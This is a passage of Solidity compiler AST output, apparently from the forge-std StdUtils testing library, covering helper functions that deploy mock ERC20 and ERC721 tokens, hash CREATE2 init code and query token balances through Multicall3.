deployer"},"implemented":true,"kind":"function","modifiers":[],"name":"computeCreate2Address","nameLocation":"5904:21:11","parameters":{"id":11645,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11642,"mutability":"mutable","name":"salt","nameLocation":"5934:4:11","nodeType":"VariableDeclaration","scope":11660,"src":"5926:12:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":11641,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5926:7:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":11644,"mutability":"mutable","name":"initCodeHash","nameLocation":"5948:12:11","nodeType":"VariableDeclaration","scope":11660,"src":"5940:20:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":11643,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5940:7:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"5925:36:11"},"returnParameters":{"id":11648,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11647,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11660,"src":"5985:7:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11646,"name":"address","nodeType":"ElementaryTypeName","src":"5985:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5984:9:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":11689,"nodeType":"FunctionDefinition","src":"6240:225:11","nodes":[],"body":{"id":11688,"nodeType":"Block","src":"6377:88:11","nodes":[],"statements":[{"expression":{"id":11678,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11673,"name":"mock","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11671,"src":"6387:4:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":11676,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"6394:13:11","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_MockERC20_$32893_$","typeString":"function () returns (contract MockERC20)"},"typeName":{"id":11675,"nodeType":"UserDefinedTypeName","pathNode":{"id":11674,"name":"MockERC20","nameLocations":["6398:9:11"],"nodeType":"IdentifierPath","referencedDeclaration":32893,"src":"6398:9:11"},"referencedDeclaration":32893,"src":"6398:9:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}}},"id":11677,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6394:15:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}},"src":"6387:22:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}},"id":11679,"nodeType":"ExpressionStatement","src":"6387:22:11"},{"expression":{"arguments":[{"id":11683,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11663,"src":"6435:4:11","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11684,"name":"symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11665,"src":"6441:6:11","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11685,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11667,"src":"6449:8:11","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint8","typeString":"uint8"}],"expression":{"id":11680,"name":"mock","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11671,"src":"6419:4:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}},"id":11682,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6424:10:11","memberName":"initialize","nodeType":"MemberAccess","referencedDeclaration":32461,"src":"6419:15:11","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_uint8_$returns$__$","typeString":"function (string memory,string memory,uint8) external"}},"id":11686,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6419:39:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11687,"nodeType":"ExpressionStatement","src":"6419:39:11"}]},"documentation":{"id":11661,"nodeType":"StructuredDocumentation","src":"6184:51:11","text":"@dev returns an initialized mock ERC20 contract"},"implemented":true,"kind":"function","modifiers":[],"name":"deployMockERC20","nameLocation":"6249:15:11","parameters":{"id":11668,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11663,"mutability":"mutable","name":"name","nameLocation":"6279:4:11","nodeType":"VariableDeclaration","scope":11689,"src":"6265:18:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11662,"name":"string","nodeType":"ElementaryTypeName","src":"6265:6:11","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11665,"mutability":"mutable","name":"symbol","nameLocation":"6299:6:11","nodeType":"VariableDeclaration","scope":11689,"src":"6285:20:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11664,"name":"string","nodeType":"ElementaryTypeName","src":"6285:6:11","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11667,"mutability":"mutable","name":"decimals","nameLocation":"6313:8:11","nodeType":"VariableDeclaration","scope":11689,"src":"6307:14:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":11666,"name":"uint8","nodeType":"ElementaryTypeName","src":"6307:5:11","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"6264:58:11"},"returnParameters":{"id":11672,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11671,"mutability":"mutable","name":"mock","nameLocation":"6367:4:11","nodeType":"VariableDeclaration","scope":11689,"src":"6357:14:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"},"typeName":{"id":11670,"nodeType":"UserDefinedTypeName","pathNode":{"id":11669,"name":"MockERC20","nameLocations":["6357:9:11"],"nodeType":"IdentifierPath","referencedDeclaration":32893,"src":"6357:9:11"},"referencedDeclaration":32893,"src":"6357:9:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC20_$32893","typeString":"contract MockERC20"}},"visibility":"internal"}],"src":"6356:16:11"},"scope":11975,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11715,"nodeType":"FunctionDefinition","src":"6528:182:11","nodes":[],"body":{"id":11714,"nodeType":"Block","src":"6631:79:11","nodes":[],"statements":[{"expression":{"id":11705,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11700,"name":"mock","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11698,"src":"6641:4:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC721_$33498","typeString":"contract MockERC721"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":11703,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"6648:14:11","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_MockERC721_$33498_$","typeString":"function () returns (contract MockERC721)"},"typeName":{"id":11702,"nodeType":"UserDefinedTypeName","pathNode":{"id":11701,"name":"MockERC721","nameLocations":["6652:10:11"],"nodeType":"IdentifierPath","referencedDeclaration":33498,"src":"6652:10:11"},"referencedDeclaration":33498,"src":"6652:10:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC721_$33498","typeString":"contract MockERC721"}}},"id":11704,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6648:16:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_MockERC721_$33498","typeString":"contract MockERC721"}},"src":"6641:23:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC721_$33498","typeString":"contract MockERC721"}},"id":11706,"nodeType":"ExpressionStatement","src":"6641:23:11"},{"expression":{"arguments":[{"id":11710,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11692,"src":"6690:4:11","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11711,"name":"symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11694,"src":"6696:6:11","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":11707,"name":"mock","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11698,"src":"6674:4:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC721_$33498","typeString":"contract MockERC721"}},"id":11709,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6679:10:11","memberName":"initialize","nodeType":"MemberAccess","referencedDeclaration":33056,"src":"6674:15:11","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory) external"}},"id":11712,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6674:29:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11713,"nodeType":"ExpressionStatement","src":"6674:29:11"}]},"documentation":{"id":11690,"nodeType":"StructuredDocumentation","src":"6471:52:11","text":"@dev returns an initialized mock ERC721 contract"},"implemented":true,"kind":"function","modifiers":[],"name":"deployMockERC721","nameLocation":"6537:16:11","parameters":{"id":11695,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11692,"mutability":"mutable","name":"name","nameLocation":"6568:4:11","nodeType":"VariableDeclaration","scope":11715,"src":"6554:18:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11691,"name":"string","nodeType":"ElementaryTypeName","src":"6554:6:11","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11694,"mutability":"mutable","name":"symbol","nameLocation":"6588:6:11","nodeType":"VariableDeclaration","scope":11715,"src":"6574:20:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11693,"name":"string","nodeType":"ElementaryTypeName","src":"6574:6:11","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6553:42:11"},"returnParameters":{"id":11699,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11698,"mutability":"mutable","name":"mock","nameLocation":"6625:4:11","nodeType":"VariableDeclaration","scope":11715,"src":"6614:15:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC721_$33498","typeString":"contract MockERC721"},"typeName":{"id":11697,"nodeType":"UserDefinedTypeName","pathNode":{"id":11696,"name":"MockERC721","nameLocations":["6614:10:11"],"nodeType":"IdentifierPath","referencedDeclaration":33498,"src":"6614:10:11"},"referencedDeclaration":33498,"src":"6614:10:11","typeDescriptions":{"typeIdentifier":"t_contract$_MockERC721_$33498","typeString":"contract MockERC721"}},"visibility":"internal"}],"src":"6613:17:11"},"scope":11975,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11729,"nodeType":"FunctionDefinition","src":"6934:135:11","nodes":[],"body":{"id":11728,"nodeType":"Block","src":"7015:54:11","nodes":[],"statements":[{"expression":{"arguments":[{"id":11724,"name":"creationCode","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11718,"src":"7045:12:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"","id":11725,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7059:2:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"id":11723,"name":"hashInitCode","nodeType":"Identifier","overloadedDeclarations":[11729,11748],"referencedDeclaration":11748,"src":"7032:12:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory,bytes memory) pure returns (bytes32)"}},"id":11726,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7032:30:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":11722,"id":11727,"nodeType":"Return","src":"7025:37:11"}]},"documentation":{"id":11716,"nodeType":"StructuredDocumentation","src":"6716:213:11","text":"@dev returns the hash of the init code (creation code + no args) used in CREATE2 with no constructor arguments\n @param creationCode the creation code of a contract C, as returned by type(C).creationCode"},"implemented":true,"kind":"function","modifiers":[],"name":"hashInitCode","nameLocation":"6943:12:11","parameters":{"id":11719,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11718,"mutability":"mutable","name":"creationCode","nameLocation":"6969:12:11","nodeType":"VariableDeclaration","scope":11729,"src":"6956:25:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11717,"name":"bytes","nodeType":"ElementaryTypeName","src":"6956:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6955:27:11"},"returnParameters":{"id":11722,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11721,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11729,"src":"7006:7:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":11720,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7006:7:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"7005:9:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":11748,"nodeType":"FunctionDefinition","src":"7342:171:11","nodes":[],"body":{"id":11747,"nodeType":"Block","src":"7442:71:11","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":11742,"name":"creationCode","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11732,"src":"7486:12:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":11743,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11734,"src":"7500:4:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":11740,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7469:3:11","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":11741,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7473:12:11","memberName":"encodePacked","nodeType":"MemberAccess","src":"7469:16:11","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":11744,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7469:36:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":11739,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"7459:9:11","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":11745,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7459:47:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":11738,"id":11746,"nodeType":"Return","src":"7452:54:11"}]},"documentation":{"id":11730,"nodeType":"StructuredDocumentation","src":"7075:262:11","text":"@dev returns the hash of the init code (creation code + ABI-encoded args) used in CREATE2\n @param creationCode the creation code of a contract C, as returned by type(C).creationCode\n @param args the ABI-encoded arguments to the constructor of C"},"implemented":true,"kind":"function","modifiers":[],"name":"hashInitCode","nameLocation":"7351:12:11","parameters":{"id":11735,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11732,"mutability":"mutable","name":"creationCode","nameLocation":"7377:12:11","nodeType":"VariableDeclaration","scope":11748,"src":"7364:25:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11731,"name":"bytes","nodeType":"ElementaryTypeName","src":"7364:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":11734,"mutability":"mutable","name":"args","nameLocation":"7404:4:11","nodeType":"VariableDeclaration","scope":11748,"src":"7391:17:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11733,"name":"bytes","nodeType":"ElementaryTypeName","src":"7391:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7363:46:11"},"returnParameters":{"id":11738,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11737,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11748,"src":"7433:7:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":11736,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7433:7:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"7432:9:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":11862,"nodeType":"FunctionDefinition","src":"7624:1124:11","nodes":[],"body":{"id":11861,"nodeType":"Block","src":"7774:974:11","nodes":[],"statements":[{"assignments":[11760],"declarations":[{"constant":false,"id":11760,"mutability":"mutable","name":"tokenCodeSize","nameLocation":"7792:13:11","nodeType":"VariableDeclaration","scope":11861,"src":"7784:21:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11759,"name":"uint256","nodeType":"ElementaryTypeName","src":"7784:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11761,"nodeType":"VariableDeclarationStatement","src":"7784:21:11"},{"AST":{"nativeSrc":"7824:59:11","nodeType":"YulBlock","src":"7824:59:11","statements":[{"nativeSrc":"7838:35:11","nodeType":"YulAssignment","src":"7838:35:11","value":{"arguments":[{"name":"token","nativeSrc":"7867:5:11","nodeType":"YulIdentifier","src":"7867:5:11"}],"functionName":{"name":"extcodesize","nativeSrc":"7855:11:11","nodeType":"YulIdentifier","src":"7855:11:11"},"nativeSrc":"7855:18:11","nodeType":"YulFunctionCall","src":"7855:18:11"},"variableNames":[{"name":"tokenCodeSize","nativeSrc":"7838:13:11","nodeType":"YulIdentifier","src":"7838:13:11"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":11750,"isOffset":false,"isSlot":false,"src":"7867:5:11","valueSize":1},{"declaration":11760,"isOffset":false,"isSlot":false,"src":"7838:13:11","valueSize":1}],"id":11762,"nodeType":"InlineAssembly","src":"7815:68:11"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11764,"name":"tokenCodeSize","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11760,"src":"7900:13:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":11765,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7916:1:11","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7900:17:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5374645574696c7320676574546f6b656e42616c616e63657328616464726573732c616464726573735b5d293a20546f6b656e2061646472657373206973206e6f74206120636f6e74726163742e","id":11767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7919:80:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_e1cfd8db054d28c838f90dd4aca17e279a1b93ad4e1fab977a6ceb92cad655fe","typeString":"literal_string \"StdUtils getTokenBalances(address,address[]): Token address is not a contract.\""},"value":"StdUtils getTokenBalances(address,address[]): Token address is not a contract."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e1cfd8db054d28c838f90dd4aca17e279a1b93ad4e1fab977a6ceb92cad655fe","typeString":"literal_string \"StdUtils getTokenBalances(address,address[]): Token address is not a contract.\""}],"id":11763,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7892:7:11","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":11768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7892:108:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11769,"nodeType":"ExpressionStatement","src":"7892:108:11"},{"assignments":[11771],"declarations":[{"constant":false,"id":11771,"mutability":"mutable","name":"length","nameLocation":"8075:6:11","nodeType":"VariableDeclaration","scope":11861,"src":"8067:14:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11770,"name":"uint256","nodeType":"ElementaryTypeName","src":"8067:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11774,"initialValue":{"expression":{"id":11772,"name":"addresses","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11753,"src":"8084:9:11","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] memory"}},"id":11773,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8094:6:11","memberName":"length","nodeType":"MemberAccess","src":"8084:16:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8067:33:11"},{"assignments":[11780],"declarations":[{"constant":false,"id":11780,"mutability":"mutable","name":"calls","nameLocation":"8136:5:11","nodeType":"VariableDeclaration","scope":11861,"src":"8110:31:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Call[]"},"typeName":{"baseType":{"id":11778,"nodeType":"UserDefinedTypeName","pathNode":{"id":11777,"name":"IMulticall3.Call","nameLocations":["8110:11:11","8122:4:11"],"nodeType":"IdentifierPath","referencedDeclaration":32161,"src":"8110:16:11"},"referencedDeclaration":32161,"src":"8110:16:11","typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_storage_ptr","typeString":"struct IMulticall3.Call"}},"id":11779,"nodeType":"ArrayTypeName","src":"8110:18:11","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Call[]"}},"visibility":"internal"}],"id":11787,"initialValue":{"arguments":[{"id":11785,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11771,"src":"8167:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11784,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"8144:22:11","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_struct$_Call_$32161_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (struct IMulticall3.Call memory[] memory)"},"typeName":{"baseType":{"id":11782,"nodeType":"UserDefinedTypeName","pathNode":{"id":11781,"name":"IMulticall3.Call","nameLocations":["8148:11:11","8160:4:11"],"nodeType":"IdentifierPath","referencedDeclaration":32161,"src":"8148:16:11"},"referencedDeclaration":32161,"src":"8148:16:11","typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_storage_ptr","typeString":"struct IMulticall3.Call"}},"id":11783,"nodeType":"ArrayTypeName","src":"8148:18:11","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_storage_$dyn_storage_ptr","typeString":"struct IMulticall3.Call[]"}}},"id":11786,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8144:30:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Call memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"8110:64:11"},{"body":{"id":11815,"nodeType":"Block","src":"8221:189:11","statements":[{"expression":{"id":11813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":11798,"name":"calls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11780,"src":"8293:5:11","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Call memory[] memory"}},"id":11800,"indexExpression":{"id":11799,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11789,"src":"8299:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"8293:8:11","typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_memory_ptr","typeString":"struct IMulticall3.Call memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":11803,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11750,"src":"8330:5:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30783730613038323331","id":11806,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8370:10:11","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"},{"components":[{"baseExpression":{"id":11807,"name":"addresses","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11753,"src":"8383:9:11","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[] 